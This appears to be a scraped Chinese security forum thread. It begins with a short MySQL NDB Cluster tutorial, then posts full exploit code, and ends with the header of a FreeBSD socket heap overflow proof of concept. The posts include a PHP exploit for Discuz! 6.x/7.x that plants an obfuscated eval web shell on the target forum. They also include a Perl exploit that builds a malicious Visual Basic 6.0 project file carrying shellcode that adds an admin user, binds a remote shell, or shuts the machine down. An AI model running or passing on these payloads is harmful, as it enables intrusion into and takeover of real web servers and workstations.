
表必须用ENGINE=NDB或ENGINE=NDBCLUSTER选项创建,或用ALTER TABLE选项更改,以使用NDB Cluster存储引擎在 Cluster内复制它们。如果使用mysqldump的输出从已有数据库导入表,可在文本编辑器中打开SQL脚本,并将该选项添加到任何表创建语句,或 用这类选项之一替换任何已有的ENGINE(或TYPE)选项。
另外还请记住,每个NDB表必须有一个主键。如果在创建表时用户未定义主键,NDB Cluster存储引擎将自动生成隐含的主键。(注释:该隐含 键也将占用空间,就像任何其他的表索引一样。由于没有足够的内存来容纳这些自动创建的键,出现问题并不罕见)。
<P style=TEXT-INDENT: 2em; LINE-HEIGHT: 30px; TEXT-ALIGN: left>下面是一个例子:<BR>在db2上,创建数据表,插入数据:[/quote][db2~]root# mysql -uroot test<BR>[db2~]mysql&gt; create table city(<BR>[db2~]mysql&gt; id mediumint unsigned not null auto_increment primary key<BR>[db2~]mysql&gt; name varchar(20) not null default <BR>[db2~]mysql&gt; ) engine = ndbcluster default charset utf8;<BR>[db2~]mysql&gt; insert into city values(1 city1);<BR>[db2~]mysql&gt; insert into city values(2 city2);<BR>
<P style=TEXT-INDENT: 2em; LINE-HEIGHT: 30px; TEXT-ALIGN: left>在db3上,查询数据:[/quote][db3~]root# mysql -uroot test<BR>[db2~]mysql&gt; select * from city;<BR>+-----------+<BR>|id | name&nbsp;&nbsp;|<BR>+-----------+<BR>|1&nbsp;&nbsp;| city1 |<BR>+-----------+<BR>|2&nbsp;&nbsp;| city2 |<BR>+-----------+<BR>
<P style=TEXT-INDENT: 2em; LINE-HEIGHT: 30px; TEXT-ALIGN: left>安全关闭<BR>要想关闭 Cluster,可在MGM节点所在的机器上,在Shell中简单地输入下述命令:[/quote]&nbsp; &nbsp; &nbsp; &nbsp; [db1~]root# /usr/local/mysql/ndb_mgm -e shutdown<BR>
<P style=TEXT-INDENT: 2em; LINE-HEIGHT: 30px; TEXT-ALIGN: left>运行以下命令关闭SQL节点的mysqld服务:[/quote]&nbsp; &nbsp; &nbsp; &nbsp; [db2~]root# /usr/local/mysql/bin/mysqladmin -uroot shutdown


















公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

Discuz! 6.x/7.x SODB-漏洞
<TABLE class="tab-content table-break" cellSpacing=0 cellPadding=0>



Discuz! 6.x/7.x SODB-2008-13 Exp


#!/usr/bin/php &lt;?php /** * Discuz! 6.x/7.x SODB-2008-13 Exp * By www.sitedir.com.cn* 文件中注释的变量值请自行修改 */ $host = 'www.sitedir.com.cn'; // 服务器域名或IP $path = '/discuz/'; // 程序所在的路径 $key  = 0; // 上面的变量编辑好后,请将此处的值改为1 if (strpos($host, '://') !== false || strpos($path, '/') === false || $key !== 1) exit("专业点好不,先看看里面的注释 -,-
"); error_reporting(7); ini_set('max_execution_time', 0); $key = time(); $cmd = 'action=register&amp;username='.$key.'&amp;password='.$key.'&amp;email='.$key.'@80vul.com&amp;_DCACHE=1'; $resp = send(); preg_match('/logout=yes&amp;formhash=[a-z0-9]{8}&amp;sid=([a-zA-Z0-9]{6})/', $resp, $sid); if (!$sid) exit("哦,大概是没有开启WAP注册吧 -,-
"); $cmd = 'stylejump[1]=1&amp;styleid=1&amp;inajax=1&amp;transsidstatus=1&amp;sid='.$sid[1].'&amp;creditsformula=${${fputs(fopen(chr(46).chr(46).chr(47).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(101).chr(118).chr(97).chr(108).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(93).chr(41).chr(63).chr(62).chr(56).chr(48).chr(118).chr(117).chr(108))}}'; send(); $shell = 'http://'.$host.$path.'forumdata/cache/eval.php'; if (file_get_contents($shell) == '80vul') exit("好了,去看看你的WebShell吧:        $shell
里面的代码是:        &lt;?eval($_POST[c])?&gt;
别告诉我你不会用 -,-
"); else exit("嗯,大概是该网站不存在漏洞,换一个吧 -,-
"); function send() { global $host, $path, $url, $cmd; $data = "POST ".$path."wap/index.php  HTTP/1.1
"; $data .= "Accept: */*
"; $data .= "Accept-Language: zh-cn
"; $data .= "Referer: http://$host$path
"; $data .= "Content-Type: application/x-www-form-urlencoded
"; $data .= "User-Agent: Opera/9.62 (X11; Linux i686; U; zh-cn) Presto/2.1.1
"; $data .= "Host: $host
"; $data .= "Connection: Close
"; $data .= "Content-Length: ".strlen($cmd)."

"; $data .= $cmd; $fp = fsockopen($host, 80); fputs($fp, $data); $resp = ''; while ($fp &amp;&amp; !feof($fp)) $resp .= fread($fp, 1024); return $resp; } ?&gt;</TABLE>


















公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

楼猪.重量级人物阿.?


















公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

Visual Basic 6.0 Code漏洞
perl下使用
#!/usr/bin/perl#' ++ Microsoft Visual Basic 6.0 Code Execution 0-Day ++#' ++++++++++++++++++++++++++++++++++++++++++++++++++++++#'++ Author: Koshi                                      +#'++ Email: heykoshi at gmail dot com                   +#'++ Application: Microsoft Visual Basic 6.0            +#'++                                                    +#'++ Tested on Microsoft Windows XP Home Edition SP2    +#'++ Patched &amp; Updated                                  +#'++                                                    +#'++ The vulnerable buffer exsists in the .VBP files of +#'++ Visual Basic projects. You can jump directly to    +#'++ the shellcode, or jump to it via EBP.              +#'++                                                    +#'++ There is NO restriction of shellcode size either.  +#'++                                                    +#'++ Gr33tz: Rima my baby who I love and adore, Draven  +#'++ for pointing me in the right direction, as always. +#'++                                                    +#'++                                                    +#'++ This exploit is for educational use only, blah.    +#'++                                                    +#'++                                                    +#'+++++++++++++++++++++++++++++++++++++++++++++++++++++++#'+++++++++++++++++++++++++++++++++++++++++++++++++++++## Ex. of Usage:# perl vb6.pl 1 >>Project.vbp# #$begin0 = "x54x79x70x65x3Dx45x78x65x0Dx0Ax46x6Fx72x6D".  "x3Dx46x6Fx72x6Dx31x2Ex66x72x6Dx0Dx0A";$begin1 = "x52x65x66x65x72x65x6Ex63x65x3D".  "x2Ax5Cx47x7Bx30x30x30x32x30x34x33x30x2Dx30".          "x30x30x30x2Dx30x30x30x30x2Dx43x30x30x30x2D".          "x30x30x30x30x30x30x30x30x30x30x34x36x7Dx23".          "x32x2Ex30x23x30x23x2Ex2Ex5Cx2Ex2Ex5Cx2Ex2E".          "x5Cx2Ex2Ex5Cx2Ex2Ex5Cx57x49x4Ex44x4Fx57x53".          "x5Cx73x79x73x74x65x6Dx33x32x5Cx73x74x64x6F".          "x6Cx65x32x2Ex74x6Cx62x23x4Fx4Cx45x20x41x75".          "x74x6Fx6Dx61x74x69x6Fx6E";$begin2 = "x0Dx0Ax53x74x61x72x74x75x70x3Dx22x46x6Fx72x6Dx31x22x0Dx0A".          "x43x6Fx6Dx6Dx61x6Ex64x33x32x3Dx22x22";$BuffOf = "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41".  "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41".  "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41".  "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41".  "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41".  "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41".  "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41".  "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41".  "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41".  "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41".  "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41".  "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41".  "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41".  "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41".  "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41".  "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41".  "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41".  "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41".  "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41".  "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41".  "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41".  "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41".  "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41".  "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41".  "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41".  "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41".  "x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41x41".  "x41x41x41x41";$codeAddr = "x83x25x40x01";# You can most likely use a call or a push, you could probably use them from kernel32.dll too.#* ntdll.dll    - 0x7C923DA3      jmp Ebp **** Is the one i have used in this example.# 0x77f6d42f  jmp ebp   ntdll.dll  (English / 5.2.3790.3) Windows 2003 Server 5.2.0.0 SP0 (IA32)# 0x77f7d9b6 jmp ebp ntdll.dll  (English / 5.1.2600.11061) Windows XP 5.1.1.0 SP1 (IA32)# 0x77f8c449 jmp ebp ntdll.dll  (English / 5.0.2163.1) Windows 2000 5.0.0.0 SP0 (IA32)# 0x77faa6ce jmp ebp ntdll.dll  (English / 5.2.3790.3) Windows 2003 Server 5.2.0.0 SP0 (IA32)# 0x7c85eb73 jmp ebp ntdll.dll  (English / 5.2.3790.1830031) Windows 2003 Server 5.2.1.0 SP1 (IA32)# 0x7c8839ed jmp ebp ntdll.dll  (English / 5.2.3790.1830031) Windows 2003 Server 5.2.1.0 SP1 (IA32)#*0x7c923da3 jmp ebp ntdll.dll  (English / 5.1.2600.21802) Windows XP 5.1.2.0 SP2 (IA32)# 0x77f8c449 jmp ebp   ntdll.dll  (French / 5.0.2163.1) Windows 2000 5.0.0.0 SP0 (IA32)# 0x77f6d9b6  jmp ebp   ntdll.dll  (German / 5.1.2600.11061) Windows XP 5.1.1.0 SP1 (IA32)# 0x7c933da3 jmp ebp  ntdll.dll  (German / 5.1.2600.21802) Windows XP 5.1.2.0 SP2 (IA32)# 0x77f5d42f  jmp ebp   ntdll.dll  (Italian / 5.2.3790.3) No associated versions# 0x77f6d9b6 jmp ebp ntdll.dll  (Italian / 5.1.2600.11061) Windows XP 5.1.1.0 SP1 (IA32)# 0x77f8c449 jmp ebp ntdll.dll  (Italian / 5.0.2163.1) Windows 2000 5.0.0.0 SP0 (IA32)# 0x77f9a6ce jmp ebp ntdll.dll  (Italian / 5.2.3790.3) No associated versions# 0x7c96eb73 jmp ebp ntdll.dll  (Italian / 5.2.3790.1830031) No associated versions# 0x7c9939ed jmp ebp ntdll.dll  (Italian / 5.2.3790.1830031) No associated versions# ...backwards..if you don't know why, then gtfo.$jmpEbp = "xA3x3Dx92x7C";$fourSkin = "x44x44x44x44";$begin3 = "x0Dx0Ax4Ex61x6Dx65x3Dx22x50x72x6Fx6Ax65x63".  "x74x31x41x41x41x41x41x41x41x41x41x41x41x41".          "x41x41x41x41x41x41x41x41";$koshi = "x0Dx0Ax48x65x6Cx70x43x6Fx6Ex74x65x78x74x49x44x3Dx22x30x22x0Dx0Ax43x6Fx6D"."x70x61x74x69x62x6Cx65x4Dx6Fx64x65x3Dx22x30x22x0Dx0Ax4Dx61x6Ax6Fx72x56x65"."x72x3Dx31x0Dx0Ax4Dx69x6Ex6Fx72x56x65x72x3Dx30x0Dx0Ax52x65x76x69x73x69x6F"."x6Ex56x65x72x3Dx30x0Dx0Ax41x75x74x6Fx49x6Ex63x72x65x6Dx65x6Ex74x56x65x72"."x3Dx30x0Dx0Ax53x65x72x76x65x72x53x75x70x70x6Fx72x74x46x69x6Cx65x73x3Dx30"."x0Dx0Ax43x6Fx6Dx70x69x6Cx61x74x69x6Fx6Ex54x79x70x65x3Dx30x0Dx0Ax4Fx70x74"."x69x6Dx69x7Ax61x74x69x6Fx6Ex54x79x70x65x3Dx30x0Dx0Ax46x61x76x6Fx72x50x65"."x6Ex74x69x75x6Dx50x72x6Fx28x74x6Dx29x3Dx30x0Dx0Ax43x6Fx64x65x56x69x65x77"."x44x65x62x75x67x49x6Ex66x6Fx3Dx30x0Dx0Ax4Ex6Fx41x6Cx69x61x73x69x6Ex67x3D"."x30x0Dx0Ax42x6Fx75x6Ex64x73x43x68x65x63x6Bx3Dx30x0Dx0Ax4Fx76x65x72x66x6C"."x6Fx77x43x68x65x63x6Bx3Dx30x0Dx0Ax46x6Cx50x6Fx69x6Ex74x43x68x65x63x6Bx3D"."x30x0Dx0Ax46x44x49x56x43x68x65x63x6Bx3Dx30x0Dx0Ax55x6Ex72x6Fx75x6Ex64x65"."x64x46x50x3Dx30x0Dx0Ax53x74x61x72x74x4Dx6Fx64x65x3Dx30x0Dx0Ax55x6Ex61x74"."x74x65x6Ex64x65x64x3Dx30x0Dx0Ax52x65x74x61x69x6Ex65x64x3Dx30x0Dx0Ax54x68"."x72x65x61x64x50x65x72x4Fx62x6Ax65x63x74x3Dx30x0Dx0Ax4Dx61x78x4Ex75x6Dx62"."x65x72x4Fx66x54x68x72x65x61x64x73x3Dx31x0Dx0Ax0Dx0Ax5Bx4Dx53x20x54x72x61"."x6Ex73x61x63x74x69x6Fx6Ex20x53x65x72x76x65x72x5Dx0Dx0Ax41x75x74x6Fx52x65"."x66x72x65x73x68x3Dx31x0Dx0A";# win32_exec -  EXITFUNC=seh CMD=calc.exe Size=351 Encoder=PexAlphaNum http://metasploit.com$shellc1 = "xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49".     "x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36".    "x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34".   "x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41".   "x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x34".   "x42x50x42x30x42x50x4bx38x45x44x4ex43x4bx38x4ex47".   "x45x30x4ax47x41x30x4fx4ex4bx48x4fx54x4ax41x4bx38".   "x4fx55x42x52x41x30x4bx4ex49x54x4bx48x46x33x4bx48".   "x41x50x50x4ex41x43x42x4cx49x59x4ex4ax46x48x42x4c".   "x46x47x47x50x41x4cx4cx4cx4dx50x41x50x44x4cx4bx4e".   "x46x4fx4bx43x46x35x46x52x46x30x45x37x45x4ex4bx58".   "x4fx45x46x42x41x50x4bx4ex48x46x4bx48x4ex30x4bx44".   "x4bx48x4fx35x4ex41x41x30x4bx4ex4bx38x4ex51x4bx38".   "x41x50x4bx4ex49x38x4ex45x46x32x46x50x43x4cx41x33".   "x42x4cx46x46x4bx48x42x34x42x33x45x38x42x4cx4ax47".     "x4ex30x4bx38x42x34x4ex50x4bx58x42x47x4ex41x4dx4a".   "x4bx58x4ax36x4ax30x4bx4ex49x50x4bx48x42x48x42x4b".   "x42x30x42x50x42x30x4bx38x4ax56x4ex43x4fx55x41x33".   "x48x4fx42x46x48x35x49x38x4ax4fx43x58x42x4cx4bx37".   "x42x55x4ax36x42x4fx4cx58x46x50x4fx35x4ax36x4ax59".   "x50x4fx4cx38x50x50x47x55x4fx4fx47x4ex43x56x41x56".   "x4ex46x43x56x50x32x45x46x4ax37x45x36x42x50x5a";# win32_adduser -  PASS=koshi EXITFUNC=seh USER=4dmin Size=495 Encoder=PexAlphaNum http://metasploit.com$shellc2 = "xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49".   "x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36".   "x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34".   "x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41".   "x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x44".   "x42x30x42x50x42x30x4bx48x45x44x4ex53x4bx38x4ex37".   "x45x50x4ax47x41x50x4fx4ex4bx38x4fx54x4ax51x4bx58".   "x4fx35x42x52x41x30x4bx4ex49x54x4bx38x46x53x4bx48".   "x41x30x50x4ex41x53x42x4cx49x39x4ex4ax46x48x42x4c".   "x46x57x47x50x41x4cx4cx4cx4dx30x41x30x44x4cx4bx4e".   "x46x4fx4bx53x46x55x46x52x46x30x45x47x45x4ex4bx48".   "x4fx45x46x42x41x50x4bx4ex48x46x4bx48x4ex50x4bx54".   "x4bx48x4fx55x4ex51x41x50x4bx4ex4bx58x4ex51x4bx58".   "x41x30x4bx4ex49x38x4ex55x46x42x46x30x43x4cx41x33".   "x42x4cx46x46x4bx58x42x34x42x53x45x48x42x4cx4ax37".   "x4ex30x4bx48x42x44x4ex30x4bx48x42x37x4ex51x4dx4a".   "x4bx58x4ax36x4ax30x4bx4ex49x50x4bx48x42x48x42x4b".   "x42x30x42x30x42x50x4bx58x4ax36x4ex53x4fx45x41x53".   "x48x4fx42x36x48x45x49x38x4ax4fx43x48x42x4cx4bx57".   "x42x55x4ax56x42x4fx4cx58x46x50x4fx55x4ax46x4ax59".   "x50x4fx4cx58x50x30x47x35x4fx4fx47x4ex43x36x4dx46".   "x46x56x50x42x45x36x4ax37x45x56x42x32x4fx52x43x46".   "x42x42x50x56x45x46x46x47x42x52x45x47x43x37x45x36".   "x44x57x42x42x46x53x46x36x4dx56x49x46x50x56x42x32".   "x4bx36x4fx36x43x37x4ax46x49x36x42x32x4fx42x41x34".   "x46x54x46x34x42x32x48x52x48x52x42x52x50x36x45x46".   "x46x57x42x42x4ex56x4fx36x43x36x41x36x4ex46x47x56".   "x44x37x4fx36x45x57x42x57x42x52x41x44x46x56x4dx56".   "x49x46x50x56x49x46x43x47x46x57x44x37x41x36x46x57".   "x4fx46x44x37x43x37x42x32x46x43x46x36x4dx56x49x36".   "x50x56x42x42x4fx32x41x44x46x54x46x54x42x50x5a";# win32_bind -  EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaNum http://metasploit.com$shellc3 = "xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49".   "x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36".   "x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34".   "x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41".   "x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4cx36x4bx4e".   "x4dx44x4ax4ex49x4fx4fx4fx4fx4fx4fx4fx42x56x4bx38".   "x4ex36x46x52x46x32x4bx38x45x54x4ex53x4bx48x4ex37".   "x45x30x4ax47x41x30x4fx4ex4bx58x4fx44x4ax41x4bx58".   "x4fx45x42x52x41x50x4bx4ex49x44x4bx58x46x33x4bx48".   "x41x50x50x4ex41x33x42x4cx49x39x4ex4ax46x58x42x4c".   "x46x37x47x30x41x4cx4cx4cx4dx30x41x50x44x4cx4bx4e".   "x46x4fx4bx33x46x35x46x32x4ax32x45x57x45x4ex4bx48".   "x4fx35x46x32x41x30x4bx4ex48x36x4bx58x4ex30x4bx54".   "x4bx58x4fx35x4ex31x41x50x4bx4ex43x50x4ex52x4bx58".   "x49x58x4ex46x46x52x4ex31x41x46x43x4cx41x33x4bx4d".   "x46x46x4bx48x43x34x42x53x4bx58x42x54x4ex30x4bx48".   "x42x57x4ex31x4dx4ax4bx48x42x44x4ax50x50x45x4ax46".   "x50x38x50x34x50x50x4ex4ex42x55x4fx4fx48x4dx48x46".   "x43x45x48x56x4ax36x43x53x44x33x4ax46x47x57x43x37".   "x44x53x4fx55x46x35x4fx4fx42x4dx4ax56x4bx4cx4dx4e".   "x4ex4fx4bx53x42x55x4fx4fx48x4dx4fx45x49x38x45x4e".   "x48x36x41x58x4dx4ex4ax50x44x30x45x45x4cx36x44x50".   "x4fx4fx42x4dx4ax56x49x4dx49x30x45x4fx4dx4ax47x45".   "x4fx4fx48x4dx43x45x43x45x43x55x43x55x43x55x43x54".   "x43x45x43x54x43x45x4fx4fx42x4dx48x46x4ax36x41x31".   "x4ex35x48x46x43x55x49x58x41x4ex45x59x4ax46x46x4a".   "x4cx41x42x47x47x4cx47x35x4fx4fx48x4dx4cx46x42x31".   "x41x55x45x55x4fx4fx42x4dx4ax46x46x4ax4dx4ax50x32".   "x49x4ex47x55x4fx4fx48x4dx43x55x45x55x4fx4fx42x4d".   "x4ax56x45x4ex49x44x48x38x49x34x47x55x4fx4fx48x4d".   "x42x45x46x45x46x45x45x35x4fx4fx42x4dx43x59x4ax36".   "x47x4ex49x47x48x4cx49x37x47x35x4fx4fx48x4dx45x45".   "x4fx4fx42x4dx48x56x4cx36x46x56x48x46x4ax36x43x46".   "x4dx36x49x38x45x4ex4cx46x42x35x49x45x49x32x4ex4c".   "x49x48x47x4ex4cx56x46x54x49x48x44x4ex41x43x42x4c".   "x43x4fx4cx4ax50x4fx44x54x4dx52x50x4fx44x54x4ex42".   "x43x59x4dx38x4cx47x4ax43x4bx4ax4bx4ax4bx4ax4ax36".   "x44x47x50x4fx43x4bx48x41x4fx4fx45x47x46x54x4fx4f".   "x48x4dx4bx45x47x45x44x35x41x35x41x45x41x55x4cx46".   "x41x30x41x45x41x45x45x45x41x45x4fx4fx42x4dx4ax36".   "x4dx4ax49x4dx45x30x50x4cx43x45x4fx4fx48x4dx4cx56".   "x4fx4fx4fx4fx47x33x4fx4fx42x4dx4bx48x47x35x4ex4f".   "x43x38x46x4cx46x36x4fx4fx48x4dx44x55x4fx4fx42x4d".   "x4ax56x42x4fx4cx58x46x50x4fx55x43x45x4fx4fx48x4d".   "x4fx4fx42x4dx5a";# win32_bind_vncinject -  VNCDLL=/home/opcode/msfweb/framework/data/vncdll.dll EXITFUNC=seh AUTOVNC=1 VNCPORT=5900 LPORT=4444 Size=649 Encoder=PexAlphaNum http://metasploit.com$shellc4 = "xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49".   "x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36".   "x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34".   "x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41".   "x56x58x34x5ax38x42x44x4ax4fx4dx4ax4ex48x55x42x50".   "x42x30x42x30x43x55x45x35x48x45x47x45x4bx38x4ex36".   "x46x42x4ax31x4bx38x45x54x4ex33x4bx48x46x55x45x30".   "x4ax47x41x50x4cx4ex4bx58x4cx54x4ax31x4bx48x4cx55".   "x42x42x41x50x4bx4ex43x4ex44x43x49x54x4bx58x46x33".   "x4bx48x41x30x50x4ex41x33x4fx4fx4ex4fx41x43x42x4c".   "x4ex4ax4ax53x42x4ex46x57x47x30x41x4cx4fx4cx4dx30".   "x41x30x47x4cx4bx4ex44x4fx4bx33x4ex47x46x42x46x51".   "x45x37x41x4ex4bx38x4cx35x46x52x41x30x4bx4ex48x56".   "x4bx58x4ex50x4bx54x4bx48x4cx55x4ex51x41x30x4bx4e".   "x4bx58x46x30x4bx58x41x50x4ax4ex4bx4ex44x50x41x43".   "x42x4cx4fx35x50x35x4dx35x4bx45x44x4cx4ax50x42x50".   "x50x55x4cx36x42x33x49x55x46x46x4bx58x49x31x4bx38".   "x4bx45x4ex50x4bx38x4bx35x4ex31x4bx48x4bx51x4bx58".   "x4bx45x4ax30x43x55x4ax56x50x38x50x34x50x50x4ex4e".   "x4fx4fx48x4dx49x48x47x4cx41x58x4ex4ex42x50x41x50".   "x42x50x42x30x47x45x48x55x43x45x49x38x45x4ex4ax4e".   "x47x52x42x30x42x30x42x30x42x59x41x50x42x30x42x50".   "x48x4bx49x51x4ax51x47x4ex46x4ax49x31x42x47x49x4e".   "x45x4ex49x54x48x58x49x54x46x4ax4cx51x42x37x47x4c".   "x46x4ax4dx4ax50x42x49x4ex49x4dx49x50x45x4fx4dx4a".   "x4bx4cx4dx4ex4ex4fx4bx43x47x45x43x35x44x33x4fx45".   "x43x33x44x43x42x30x4bx45x4dx38x4bx34x42x42x41x55".   "x4fx4fx47x4dx49x58x4fx4dx49x38x43x4cx4dx58x45x47".   "x46x41x4cx36x47x30x49x45x41x35x43x45x4fx4fx46x43".   "x4fx38x4fx4fx45x35x46x50x49x35x49x58x46x50x50x48".   "x44x4ex44x4fx4bx32x47x52x46x35x4fx4fx47x43x4fx4f".   "x45x35x42x43x41x53x42x4cx42x45x42x35x42x35x42x55".   "x42x54x42x55x42x44x42x35x4fx4fx45x45x4ex32x49x48".   "x47x4cx41x53x4bx4dx43x45x43x45x4ax46x44x30x42x50".   "x41x31x4ex55x49x48x42x4ex4cx36x42x31x42x35x47x55".   "x4fx4fx45x35x46x32x43x55x47x45x4fx4fx45x45x4ax32".   "x43x55x46x35x47x45x4fx4fx45x55x42x32x49x48x47x4c".   "x41x58x4ex4ex42x50x42x31x42x50x42x50x49x58x43x4e".   "x4cx46x42x50x4ax46x42x30x42x51x42x30x42x30x43x35".   "x47x45x4fx4fx45x35x4ax31x41x58x4ex4ex42x30x46x30".   "x42x30x42x30x4fx4fx43x4dx5a";# win32_exec -  EXITFUNC=seh CMD=shutdown -c "HAI VEn0m pwn3d j00r b0x0r wif k0sh1 u b1tch" Size=451 Encoder=PexAlphaNum http://metasploit.com$shellc5 = "xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49".   "x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36".   "x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34".   "x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41".   "x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x34".   "x42x50x42x50x42x30x4bx38x45x54x4ex43x4bx38x4ex47".   "x45x30x4ax47x41x30x4fx4ex4bx38x4fx54x4ax51x4bx48".   "x4fx35x42x32x41x50x4bx4ex49x54x4bx38x46x43x4bx48".   "x41x50x50x4ex41x53x42x4cx49x59x4ex4ax46x58x42x4c".   "x46x47x47x30x41x4cx4cx4cx4dx50x41x50x44x4cx4bx4e".   "x46x4fx4bx53x46x55x46x32x46x30x45x37x45x4ex4bx38".   "x4fx55x46x52x41x50x4bx4ex48x56x4bx48x4ex50x4bx34".   "x4bx38x4fx45x4ex31x41x30x4bx4ex4bx38x4ex31x4bx48".   "x41x50x4bx4ex49x48x4ex35x46x32x46x50x43x4cx41x43".   "x42x4cx46x56x4bx48x42x34x42x43x45x58x42x4cx4ax37".   "x4ex50x4bx38x42x34x4ex50x4bx38x42x57x4ex51x4dx4a".   "x4bx58x4ax36x4ax50x4bx4ex49x30x4bx58x42x58x42x4b".   "x42x50x42x30x42x50x4bx48x4ax46x4ex43x4fx45x41x53".   "x48x4fx42x36x48x35x49x48x4ax4fx43x58x42x4cx4bx37".   "x42x45x4ax56x42x4fx4cx48x46x30x4fx55x4ax56x4ax39".   "x50x4fx4cx58x50x50x47x45x4fx4fx47x4ex43x37x4ax56".           "x45x47x46x37x46x46x4fx36x47x37x50x46x42x42x4dx42".   "x43x36x42x42x44x42x4ax34x41x54x49x34x42x42x48x35".   "x45x34x50x56x42x33x4dx56x42x52x42x57x47x57x50x56".   "x43x33x46x36x42x32x4cx46x42x33x42x33x44x37x42x32".   "x44x46x42x53x4ax57x42x33x44x47x42x52x47x47x49x56".   "x48x46x42x52x4bx56x42x33x43x57x4ax56x41x53x42x32".   "x45x37x42x32x44x56x41x43x46x37x43x46x4ax56x44x32".   "x42x30x5a";$endQuote = "x22";$i = $ARGV[0];if ($i==1){print "$begin0$begin1$BuffOf$codeAddr$jmpEbp$fourSkin$begin2$begin3$shellc1$endQuote$koshi";exit;}if ($i==2){print "$begin0$begin1$BuffOf$codeAddr$jmpEbp$fourSkin$begin2$begin3$shellc2$endQuote$koshi";exit;}if ($i==3){print "$begin0$begin1$BuffOf$codeAddr$jmpEbp$fourSkin$begin2$begin3$shellc3$endQuote$koshi";exit;}if ($i==4){print "$begin0$begin1$BuffOf$codeAddr$jmpEbp$fourSkin$begin2$begin3$shellc4$endQuote$koshi";exit;}if ($i==5){print "$begin0$begin1$BuffOf$codeAddr$jmpEbp$fourSkin$begin2$begin3$shellc5$endQuote$koshi";exit;}print "
";print " ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
";print " +++                                                        +++
";print " +++                                                        +++
";print " +++ Microsoft Visual Basic 6.0 VBP_Open OLE Local CodeExec +++
";print " +++ Written By Koshi                                       +++
";print " +++ Greets: Rima my baby! Draven, thanks for helping.      +++
";print " +++                                                        +++
";print " +++ Usage Ex.: ./vb6.pl 1 >>Project1.vbp                   +++
";print " +++                                                        +++
";print " +++  Options:                                              +++
";print " +++          1 - win32_exec CALC.EXE                       +++
";print " +++          2 - win32_adduser Pass=4dmin User=koshi       +++
";print " +++          3 - win32_bind Port 4444                      +++
";print " +++          4 - win32_bind_vncinject Port 5900            +++
";print " +++          5 - win32_exec shutdown -c x22HAI VEn0m pw..    +++
";print " +++                                                        +++
";print " +++                                                        +++
";print " +++ Notes: Ship final .VBP file with a .FRM file to avoid  +++
";print " +++        warnings in Visual Basic 6.0                    +++
";print " +++                                                        +++
";print " ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
";exit;#EOF


















公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

FreeBSD UIPC socket 堆栈溢出
#!/bin/sh  
#  
# fbsd-uipcsock-heap.sh, by Shaun Colley <scolley@ioactive.com>, 29/09/11  
#  
# proof-of-concept crash for the freebsd unix domain sockets heap  
# overflow.  this was tested on freebsd 8.2-RELEASE.  just a PoC for now.  
#  
